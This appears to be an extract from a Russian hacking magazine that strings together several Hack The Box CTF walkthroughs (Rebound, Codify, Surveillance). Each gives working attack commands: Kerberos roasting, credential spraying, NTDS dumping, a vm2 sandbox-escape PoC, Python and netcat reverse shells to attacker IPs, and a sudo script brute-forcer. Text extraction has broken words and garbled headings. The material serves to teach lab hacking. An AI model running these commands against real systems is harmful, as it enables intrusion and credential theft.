Те перь прос то заг ружа ем в тот же каталог уже исполь зован ный ранее
веб-шелл, перехо дим на стра ницу через бра узер и забира ем флаг адми нис- 
тра тора.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
https://xakep.ru/2024/03/25/htb-analytics/#toc04.
https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection
https://nvd.nist.gov/vuln/detail/CVE-2023-36664
https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1
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ВЗЛОМ

Се год ня нач нем с типич ных (и не очень)
атак AS-REP Roasting и Kerberoasting.
Затем покопа емся в базе LDAP и най дем
неоче вид ный путь прод вижения.
При получе нии дос тупа к хос ту исполь зуем
тех нику RemotePotato, а для повыше ния
при виле гий — тех нику S4U2proxy.

На ша цель — получе ние прав супер поль зовате ля на машине Rebound с учеб- 
ной пло щад ки . Уро вень ее слож ности — «безум ный».Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.231    rebound.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел мно жес тво откры тых пор тов, что харак терно для сер веров
на Windows:

53 — DNS;•
88 — Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — LDAP;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
5985 — служ ба уда лен ного управле ния WinRM.•

Пер вым делом про веря ем, нет ли воз можнос ти ано ним ного вхо да, и выводим
спи сок общих катало гов. Для это го исполь зуем ути литу ,

которая нам еще не раз при годит ся при про хож дении.

CrackMapExec

  crackmapexec smb rebound.htb -u guest -p '' --shares

Об щие SMB-катало ги

Ви дим нес тандар тный каталог . Под клю чить ся и прос мотреть содер- 
жимое мож но с помощью скрип та из набора .

Shared
impacket

impacket-smbclient guest@rebound.htb 

Со дер жимое катало га Shared

Но каталог ока зал ся пус тым, поэто му перехо дим к дру гим тех никам.

ÒÎ×ÊÀ ÂÕÎÄÀ

Так как дос тупна ано ним ная аутен тифика ция на ресур се SMB, мож но проб- 
рутить RID и получить наз вания групп и име на поль зовате лей.

  crackmapexec smb rebound.htb -u guest -p '' --rid-brute 10000 

Име на поль зовате лей и груп пы

Те перь, ког да у нас есть име на поль зовате лей, мы можем пос пре ить
популяр ные пароли и про верить AS-REP Roasting.

AS-REP Roasting
Смысл ата ки AS-REP Roasting в том, что мы посыла ем на сер вер аутен- 
тифика ции ано ним ный зап рос для пре дос тавле ния опре делен ному поль- 
зовате лю дос тупа к какой-либо услу ге. На что сер вер име ет три раз ных отве- 
та:

пре дос тавля ет билет, отку да мы возь мем хеш;•
от веча ет, что у дан ного поль зовате ля не выс тавлен флаг

;
•
PreauthNotRequired

го ворит, что такого поль зовате ля нет в базе Kerberos.•

Про делать все это мож но при помощи все того же CrackMapExec.

  crackmapexec ldap rebound.htb -u users.txt -p '' --asreproast 
asreproast_hashes.txt 

Ре зуль тат про веде ния ата ки

Та ким обра зом, в домене есть один поль зователь, для которо го не тре бует ся
пред варитель ная аутен тифика ция Kerberos, и мы получа ем хеш его пароля.
Для бру та пароля в  ука зыва ем режим 18200 (параметр ).hashcat -m

hashcat -m 18200 asreproast_hashes.txt rockyou.txt 

Пе ребор хеша с помощью hashcat никаких резуль татов не дал.

Kerberoasting
Ре али зация про токо ла Kerberos в Windows исполь зует име на учас тни ков
служ бы (SPN) для опре деле ния того, какую учет ную запись задей ство вать
для шиф рования билета служ бы. В Active Directory сущес тву ет два вари анта
SPN: SPN на осно ве хос та и про изволь ные SPN. Пер вый вари ант SPN свя зан
с учет ной записью компь юте ра домена, а вто рой обыч но (но не всег да) —
с учет кой поль зовате ля домена.

Про ще говоря, если зап рошен билет, он шиф рует ся паролем учет ной
записи, которая пре дос тавила его SPN. Так, если мы получим билет, мы
можем его прос то проб рутить, что бы узнать пароль учет ки! Хотя для это го
и нуж но прой ти аутен тифика цию, но мы можем взять поль зовате ля с прош- 
лого эта па, для которо го она не тре бует ся. В этом вари анте выпол нить ата ку
мож но с помощью , для чего перей дем в вир туал ку с Windows.Rubeus

Rubeus.exe kerberoast /nopreauth:jjones /domain:rebound.htb /dc:10.
10.11.231 /spns:users.txt /ldaps /nowrap

Ре зуль тат выпол нения ата ки

По луча ем хеши поль зовате лей  и , которые сра зу

отправ ляем на брут в hashcat.

ldap_monitor delegator$

hashcat -m 13100 kerberoasting_users.txt rockyou.txt 

Ре зуль тат взло ма хешей

По луча ем пароль для учет ки . Наш единс твен ный пароль спре- 
им по осталь ным учет кам и получа ем еще одну валид ную пару из логина
и пароля — для поль зовате ля .

ldap_monitor

oorend

  crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$$4u'
--continue-on-success

Ре зуль тат спрея пароля

ÒÎ×ÊÀ ÎÏÎÐÛ

Те перь, ког да у нас есть валид ные учет ные записи, собира ем дан ные
для BloodHound. Для это го исполь зуем . Но сна чала обно вим
запись в фай ле  и син хро низи руем вре мя с уда лен ным хос том.

скрипт на Python
/etc/hosts

10.10.11.231 rebound.htb dc01.rebound.htb 

sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.231 

  
 All 

bloodhound-python -u ldap_monitor -p '1GR8t@$$4u' -ns 10.10.11.231 -d
rebound.htb  -c

Сбор дан ных BloodHound

От меча ем под кон троль ных нам поль зовате лей как  и про водим ана лиз.
Но к сожале нию, ничего инте рес ного най ти не уда лось. Тог да поп робу ем
сдам пить базу LDAP и про верить раз решения вруч ную. Для работы с LDAP я
исполь зую скрипт .

Owned

bloodyAD

  
  

python3 bloodyAD.py -u ldap_monitor -d rebound.htb -p '1GR8t@$$4u'
--host rebound.htb get search 'DC=rebound,DC=htb' --resolve-sd > 
ldap_dump.txt 

Ба за сох ранена в файл , из которо го отфиль тру ем все стро ки,

содер жащие име на и SID под кон троль ных поль зовате лей.

ldap_dump.txt

  cat ldap_dump.txt | grep -i 'ldap_monitor\
|S-1-5-21-4078382237-1492182817-2568127209-7681\|oorend\
|S-1-5-21-4078382237-1492182817-2568127209-7682'

Вы вод коман ды grep

Так как нас инте ресу ют толь ко раз решения, оста новим ся на пер вой стро ке
вывода. Откры ваем тек сто вый редак тор и находим ее через поиск. Этот ACL
отно сит ся к объ екту .ServiceMgmt

LDAP записи объ екта ServiceMgmt

Та ким обра зом, поль зователь  (SID ) может
добав лять поль зовате лей в груп пу . Пометим эту груп пу

как  и для поис ка даль нейше го пути сно ва попыта ем уда чу в гра фе

BloodHound, на этот раз успешно.

oorend S-1-5-21-40...7682
ServiceMgmt

Owned

Граф BloodHound

У поль зовате лей этой груп пы есть все пра ва на под разде ление 

, к которо му отно сит ся юзер . Зна чит, мож но взять под кон- 
троль поль зовате ля  в три эта па.

SERVICE 
USERS winrm_svc

winrm_svc
 Добавить поль зовате ля  в груп пу .Ýòàï ïåð âûé. oorend ServiceMgmt

  python3 bloodyAD.py -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 
rebound.htb add groupMember ServiceMgmt oorend 

До бав ление поль зовате ля в груп пу

 Добавить поль зовате лю  все пра ва на чле нов под- 

разде ления .

Ýòàï âòî ðîé. oorend
SERVICE USERS

  python3 bloodyAD.py -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 
rebound.htb add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' 
oorend 

До бав ление прав на объ ект

 Уста новить поль зовате лю  свой пароль.Ýòàï òðå òèé. winrm_svc

  python3 bloodyAD.py -u oorend -d rebound.htb -p '1GR8t@$$4u' --host 
rebound.htb set password winrm_svc 'Ralf!@34'

Сме на пароля поль зовате ля

А теперь исполь зуем уста нов ленные учет ные дан ные для авто риза ции в служ- 
бе WinRM.

 evil-winrm -i rebound.htb -u winrm_svc -p 'Ralf!@34'

Флаг поль зовате ля

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/fortra/impacket
https://github.com/GhostPack/Rubeus
https://github.com/dirkjanm/BloodHound.py
https://github.com/CravateRouge/bloodyAD


ПРОВОДИМ СЛОЖНУЮ АТАКУ
НА ACTIVE DIRECTORY

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Îò WINRM_SVC ê TBRADY

Для раз ведки на хос те мож но исполь зовать ути литу . Пос ледова- 
тель но собира ем информа цию о сис теме, поль зовате ле и дру гие инте рес ные
вещи.

Seatbelt

Seatbelt.exe -group=system 
user Seatbelt.exe -group=
misc Seatbelt.exe -group=

OneNote-фай лы

Из инте рес ного в пун кте, свя зан ном с фай лами OneNote, отме чаем наличие
воз можнос ти вхо да в сис тему у поль зовате ля . Про верить наличие

текущей сес сии не получи лось, поэто му я решил исполь зовать
 всле пую. Под робнее об этой тех нике можешь почитать

в статье «
». В резуль тате ата ки мы получим NetNTLMv2-хеш ата куемо го

поль зовате ля. На сво ем хос те запус каем редирек тор , а на уда лен ной

машине выпол няем RemotePotato0.

tbrady

RemotePotato0
Кар тошка-0. Повыша ем при виле гии в AD при помощи

RemotePotato0
socat

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:rebound.htb:9999 

RemotePotato0.exe -m 2 -r 10.10.16.34 -x 10.10.16.34 -p 9999 -s 1

Ре зуль тат ата ки

По лучен ный хеш отправ ляем в hashcat. Хеши такого типа ( ) бру тят ся

очень быс тро, и в резуль тате мы получа ем пароль поль зовате ля.

-m 5600

hashcat -m 5600 -a 0 tbrady_hash.txt rockyou.txt 

Ре зуль тат перебо ра хеша

Ко неч но же, про веря ем получен ные учет ные дан ные с помощью
CrackMapExec.

 crackmapexec smb 10.10.11.231 -u tbrady -p '543BOMBOMBUNmanda'

Про вер ка учет ных дан ных поль зовате ля

Îò TBRADY ê DELEGATOR

Так как мы получи ли нового поль зовате ля, воз вра щаем ся к гра фу BloodHound
и помеча ем эту учет ку, пос ле чего перес тра иваем граф.

Граф BloodHound

У это го поль зовате ля есть пра во на чте ние паролей gMSA. 

 — это спе циаль ный тип учет ных записей Active

Directory. Их мож но исполь зовать для безопас ного запус ка служб, при ложе- 
ний и заданий пла ниров щика. Основная идея в том, что паролем таких учет- 
ных записей пол ностью управля ет Active Directory. Для них авто мати чес ки
генери рует ся слож ный пароль дли ной 240 сим волов, который меня ется так же
авто мати чес ки каж дые 30 дней. Для аутен тифика ции исполь зует ся толь ко
Kerberos, так как инте рак тивный вход для этих уче ток невоз можен. Это свя- 
зано с тем, что пароль не известен никому и не хра нит ся в локаль ной сис- 
теме, поэто му его нель зя извлечь из сис темно го про цес са LSASS с помощью
mimikatz.

Óï ðàâëÿ åìûå

ó÷åò íûå çàïèñè (MSA)

Но и такими учет ными запися ми нуж но как-то управлять, а это зна чит, что,
если у нас есть дос туп к такой учет ке, мы можем получить хеш ее пароля.
Для это го мы сно ва будем исполь зовать CrackMapExec.

 crackmapexec ldap dc01.rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k
--gmsa

По луче ние хеша учет ной записи delegator$

Так мы получа ем под кон троль еще одну учет ную запись и идем даль ше.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Боль ше BloodHound новых гра фов не перес тра ивает, поэто му прос матри- 
ваем информа цию о поль зовате ле. У этой учет ки есть запись в атри буте

 (свой ство  в BloodHound).msDS-AllowedToDelegateTo allowedtodelegate

Ин форма ция о поль зовате ле

Этот атри бут содер жит спи сок SPN (служб), для которых учет ная запись
может зап рашивать TGS от име ни кли ента. Так как пред сто ит порабо тать
с Kerberos, изме ним запись в фай ле ./etc/hosts

10.10.11.231 rebound.htb dc01.rebound.htb dc01 

По лучим TGT для текущей учет ной записи и про верим все делеги рова ния
в домене. Для всех опе раций исполь зуем скрип ты impacket.

 impacket-getTGT 'rebound.htb/delegator$@dc01.rebound.htb' -hashes :
9b0ccb7d34c670b2a9c81c45bc8befc3 -dc-ip 10.10.11.231 

По луче ние TGT

export KRB5CCNAME='delegator$@dc01.rebound.htb.ccache'
 impacket-findDelegation rebound.htb/ -k -no-pass

Про вер ка делеги рова ний в домене

Та ким обра зом нам уда лось най ти единс твен ное огра ничен ное делеги рова- 
ние. Но в кон тек сте целево го поль зовате ля для выпол нения ата ки нам пот- 
ребу ется третья вспо мога тель ная учет ная запись. Мож но взять уже под кон- 
троль ную нам либо соз дать новую, бла го по умол чанию каж дый поль зователь
домена может соз дать до десяти учет ных записей машин. Но так как в некото- 
рых доменах такое раз решение может быть огра ниче но, сто ит про верить,
есть ли оно. Для это го про верим зна чение  в домене.MachineAccountQuota

   
 MAQ 

crackmapexec ldap dc01.rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k
-M

Про вер ка MachineAccountQuota

И мы как раз находим ся в домене, где нель зя соз давать допол нитель ные
учет ные записи. Поэто му в качес тве вспо мога тель ной заюзаем учет ку

. Нас тро им RBCD от вспо мога тель ной учет ной записи к учет- 
ной записи с огра ничен ным делеги рова нием.
ldap_monitor

  
  

 

impacket-rbcd -delegate-from ldap_monitor -delegate-to 'delegator$'
-dc-ip 10.10.11.231 -action write 'rebound.htb/delegator$' -k
-no-pass -use-ldaps

Нас трой ка RBCD

Так как теперь нам пред сто ит работать через , получим

и экспор тиру ем TGT.

ldap_monitor

 impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u' -dc-ip 10.10.
11.231 
export KRB5CCNAME=ldap_monitor.ccache 

По луче ние TGT

Для даль нейшей ата ки нам нужен SPN учет ной записи с огра ничен ным
делеги рова нием.

Ин форма ция о поль зовате ле

Те перь про ведем пол ную ата ку S4U2 и получим TGS с воз можностью
пересыл ки для учет ной записи с нас тро енным огра ничен ным делеги рова- 
нием .browser/dc01.rebound.htb

 
 

impacket-getST -spn browser/dc01.rebound.htb -impersonate 'dc01$' 
rebound.htb/ldap_monitor -dc-ip 10.10.11.231 -k -no-pass

По луче ние TGS

Те перь исполь зуем S4U2proxy с воз можностью пересыл ки TGS из пре дыду- 
щего шага и получа ем TGS для конеч ной служ бы .http/dc01.rebound.htb

dc01export KRB5CCNAME= \$.ccache 
  

   
impacket-getST -spn http/dc01.rebound.htb -impersonate 'dc01$'
-additional-ticket 'dc01$.ccache' 'rebound.htb/delegator$' -hashes :
9b0ccb7d34c670b2a9c81c45bc8befc3 

По луче ние TGS

Приш ло вре мя экспор тировать получен ный билет, и, так как мы имперсо ниру- 
ем учет ную запись , сдам пим базу NTDS.dc01$

dc01export KRB5CCNAME= \$.ccache 
  impacket-secretsdump dc01.rebound.htb -k -no-pass -just-dc-ntlm

Учет ные дан ные домена

И с хешем адми нис тра тора авто ризу емся в служ бе WinRM для получе ния пос- 
ледне го фла га.

evil-winrm -i rebound.htb -u Administrator -H 
176be138594933bb67db3b2572fc91b8 

Флаг рута

Ма шина зах вачена!

https://github.com/GhostPack/Seatbelt
https://github.com/antonioCoco/RemotePotato0
https://xakep.ru/2022/08/26/remotepotato0/


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как совер шить
побег из песоч ницы vm2. Затем получим
RCE на сер вере, най дем базу дан ных
и извле чем из нее учет ные дан ные. А для
повыше ния при виле гий нам пред сто ит про- 
экс плу ати ровать уяз вимость в поль- 
зователь ском скрип те на Bash.

На ша цель — получе ние прав супер поль зовате ля на машине Codify с учеб ной
пло щад ки . Уро вень слож ности машины — лег кий.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.239    codify.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
порт 22 — служ ба OpenSSH 8.9p1;•
порт 80 — веб-сер вер Apache 2.4.52;•
порт 3000 — при ложе ние Node.js Express.•

По спис ку откры тых пор тов понят но, что для получе ния дос тупа к сер веру нуж- 
но най ти и про экс плу ати ровать уяз вимость на сай те (бру тить пароль от SSH
на HTB не при нято).

Глав ная стра ница сай та codify.htb

Сайт поз воля ет про тес тировать код Node.js в изо лиро ван ной сре де пря мо
на сай те.

Ре дак тор кода Node.js

ÒÎ×ÊÀ ÂÕÎÄÀ

На стра нице About us есть информа ция о редак торе кода. Для исполне ния он
исполь зует JavaScript-песоч ницу .vm2

Со дер жимое стра ницы About us

Ссыл ка на сай те ведет не на самую пос леднюю вер сию биб лиоте ки vm2, а на
вер сию 3.9.16, которая, веро ятно, и исполь зует ся на сер вере.

Пер вым делом сто ит про верить, есть ли для обна ружен ной вер сии
готовые экс пло иты. Для это го мож но исполь зовать Google или сра зу заг- 
лядывать в спе циали зиро ван ные базы дан ных вро де  и ,
а так же на GitHub. На пос леднем ресур се и находим упо мина ние 

, которой под верже на исполь зуемая вер сия vm2.

HackerOne Exploit-DB
уяз вимос ти

CVE-2023-37466

Опи сание репози тория

По иден тифика тору уяз вимос ти находим , который поз воля ет вый ти
из песоч ницы и выпол нить ука зан ные коман ды непос редс твен но в сис теме.
В качес тве тес та запус тим на локаль ном хос те лис тенер ( )

и выпол ним на уда лен ном сер вере зап рос с помощью .

PoC

nc -lvp 80
curl

   const {VM} = require("vm2");
    const vm = new VM();

   const code = `
async function fn() {
  (function stack() {
      new Error().stack;
      stack();
  })();
}
p = fn();
p.constructor = {
  [Symbol.species]: class FakePromise {
      constructor(executor) {
          executor(
              (x) => x,
              (err) => { return err.constructor.constructor('return 
process')().mainModule.require('child_process').execSync('curl 10.10.
16.116/test_rce'); }
          )
      }
  }
};
p.then();
`;

console.log(vm.run(code));

Ре дак тор кода

Ло ги лис тенера

Ко ман да была выпол нена, а зна чит, мож но заг рузить реверс-шелл.

Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем его и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

За пус каем лис тенер:

pwncat-cs -lp 4321 

На уда лен ном сер вере коман дой  соз даем

реверс-шелл на Python:

curl http://[address] | bash

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.116",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty;pty.spawn("bash")'

Так мы получа ем дос туп к сис теме.

Сес сия pwncat

ÏÐÎÄÂÈÆÅÍÈÅ

Даль ше нам нуж но под нять при виле гии и для начала хотя бы получить логин
и пароль для вхо да по SSH. А для это го понадо бит ся соб рать информа цию
о сис теме. Я, как обыч но, буду исполь зовать скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Что бы заг рузить скрипт на уда лен ный сер вер с помощью , сна чала

ком бинаци ей Ctrl-D нуж но вый ти в глав ное меню прог раммы, затем исполь- 
зовать коман ду  для перено са скрип та и коман дой 
вер нуть ся обратно в сес сию с коман дной обо лоч кой. Оста лось написать

, что бы дать пра во на выпол нение, и запус тить ска- 

ниро вание. В выводе будет мно го информа ции, поэто му отбе рем толь ко
самое важ ное.

pwncat-cs

upload [src] [dst] back

chmod +x linpeas.sh

В спис ке откры тых пор тов отме чаем дефол тный для служ бы MySQL
порт 3306.

Спи сок активных пор тов

В спис ке фай лов баз дан ных есть дос тупная база SQLite 

.

/var/www/contact/
tickets.db

Спи сок фай лов баз дан ных

От кры ваем файл базы дан ных SQLite и находим в нем имя поль зовате ля
и хеш его пароля.

Со дер жимое фай ла tickets.db

Сра зу отпра вим хеш на перебор, но спер ва нуж но узнать, какой алго ритм был
исполь зован. Сде лать это мож но, поис кав хеш по справ ке  вот такой

коман дой:

hashcat

 |    hashcat --example grep '\$2a\$12' -B12 -A1

Справ ка hashcat

Ис поль зован алго ритм bcrypt. Как я недав но узнал, при перебо ре хешей
для некото рых алго рит мов луч ше исполь зовать  вмес то

hashcat, и bcrypt — как раз в чис ле таких алго рит мов.

John the Ripper

john --wordlist=rockyou.txt hashes.txt --format=bcrypt 

Ре зуль тат взло ма хеша

По лучен ные учет ные дан ные мож но исполь зовать для авто риза ции по SSH.
Так забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как раз ведку на хос те мы уже про води ли, заново запус кать ска ниру ющие
скрип ты смыс ла нет, нуж но лишь при цель но про верить нес коль ко мест. Пер- 
вое, что нуж но про верять в таких слу чаях, — это нас трой ки sudoers. Пос- 
мотреть их мож но коман дой .sudo -l

Нас трой ки sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Су дя по содер жимому, мож но без вво да пароля выпол нить скрипт 

 в при виле гиро ван ном кон тек сте, то есть от име ни
поль зовате ля . Прос мотрим, что дела ет этот скрипт.

/opt/
scripts/mysql-backup.sh

root

Со дер жимое фай ла mysql-backup.sh

При запус ке скрипт зап росит пароль поль зовате ля root. Вве ден ный пароль
срав нива ется с тем, что записан в фай ле . Если пароль вер ный,
будет сде лан зап рос к базе дан ных. Но проб лема в том, что в слу чае Bash
при срав нении опе рато ром  мы можем исполь зовать  как сим вол регуляр- 

ного выраже ния.

/root/.creds

== *

Тес товый запуск скрип та

Та ким обра зом, мож но посим воль но переб рать пароль, исполь зуя для неиз- 
вес тной час ти сим вол . К при меру, для пароля  вве ден ная стро ка 

прой дет срав нение, а  нет. Для авто мати чес кого перебо ра будем исполь- 

зовать Python и отбра сывать вари анты, в отве те которых есть стро ка
.

* pass p*
c*

Password confirmation failed

Тес тирова ние скрип та

Пос ле получе ния каж дого нового вер ного сим вола пароля будем про верять,
не подой дет ли соб ранная стро ка без сим вола . Если в отве те будет стро ка

, зна чит, мы наш ли вер ный пароль.
*

Password confirmed

 import subprocess
 import string

    chars = string.digits + string.ascii_letters
  root_pass = ""

  found = False

   for i in range(50):
    for c in chars:
     cmd = f"echo '{root_pass}{c}*' | sudo /opt/scripts/mysql-backup.
sh"
        

 
out = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,

stderr=subprocess.PIPE, text=True).stdout
       if "Password confirmation failed" not in out:

       root_pass += c
     print(root_pass)

       cmd = f"echo '{root_pass}' | sudo /opt/scripts/mysql-backup.sh"
     

 
     out = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed" in out:
       print(f"Password found: '{root_pass}'")
       exit()

Ре зуль тат перебо ра пароля

Мы получа ем пароль и можем зай ти от име ни рута и заб рать пос ледний флаг.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/patriksimek/vm2/releases
https://www.hackerone.com/
https://www.exploit-db.com/
https://github.com/advisories/GHSA-cchq-frgv-rjh5
https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9
https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этом рай тапе я покажу про цесс экс плу- 
ата ции RCE-уяз вимос ти в сис теме управле- 
ния кон тентом ZoneMinder, но сна чала про- 
ведем ата ку на дру гую CMS — Craft —
и покопа емся в ее базе дан ных. В кон це
повысим при виле гии через инъ екцию
команд ОС.

На ша цель — получе ние прав супер поль зовате ля на машине Surveillance
с учеб ной пло щад ки . Уро вень слож ности — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.245    surveillance.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

На SSH без учет ных дан ных делать нечего, поэто му сра зу про ходим
к веб-сер веру, обра тив шись к адре су  через бра узер.surveillance.htb

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На стра нице находим помет ку Powered by, из которой мы выяс няем, что име- 
ем дело с про дук том CMS Craft. При этом ссыл ка ведет к про екту на GitHub,
бла года ря чему узна ём и вер сию — 4.4.14.

Глав ная стра ница сай та

Это далеко не пос ледняя вер сия, а зна чит, с боль шой веро ятностью в ней
с момен та релиза наш ли уяз вимос ти. Пер вым делом отправ ляем ся искать
готовые экс пло иты в Google.

По иск экс пло итов в Google

 выводит на экс пло ит для уяз вимос ти . Из-за
неп равиль ной обра бот ки дан ных мож но передать и выпол нить PHP-объ ект,
то есть про экс плу ати ровать RCE.

Пер вая ссыл ка CVE-2023-41892

Ре зуль тат выпол нения экс пло ита

За пус каем лис тенер  и выпол няем сле дующий

реверс-шелл. Это нуж но для получе ния ста биль ной сес сии на уда лен ном хос- 
те.

pwncat-cs -lp 4321

  rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.
16.121 4321 >/tmp/f 

Соз данная сес сия

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü Matthew
Так как на сер вере работа ет целая CMS, пер вым делом поищем учет ные дан- 
ные, которые могут помочь в прод вижении. В дан ном слу чае в катало ге CMS
находим резер вную копию базы дан ных.

Со дер жимое катало га CMS

Воз можнос ти pwncat поз воля ют ска чать файл. Для это го ком бинаци ей кла- 
виш Ctrl-D перехо дим в основное меню pwncat, коман дой  ска чива- 

ем файл, пос ле чего коман дой  воз вра щаем ся обратно в тер минал сес- 

сии.

download
back

Заг рузка фай ла

В ска чан ном архи ве при сутс тву ет толь ко сырой дамп SQL.

Со дер жимое ZIP-архи ва

Файл очень боль шой, откро ется не любым редак тором, поэто му прос то
поищем по сло вам вро де . Имен но так находим таб лицу .
Даль нейший поиск встав ки дан ных в таб лицу  дал все го одну запись,

в которой при сутс тву ет хеш пароля поль зовате ля.

password users
users

Со дер жимое SQL-фай ла

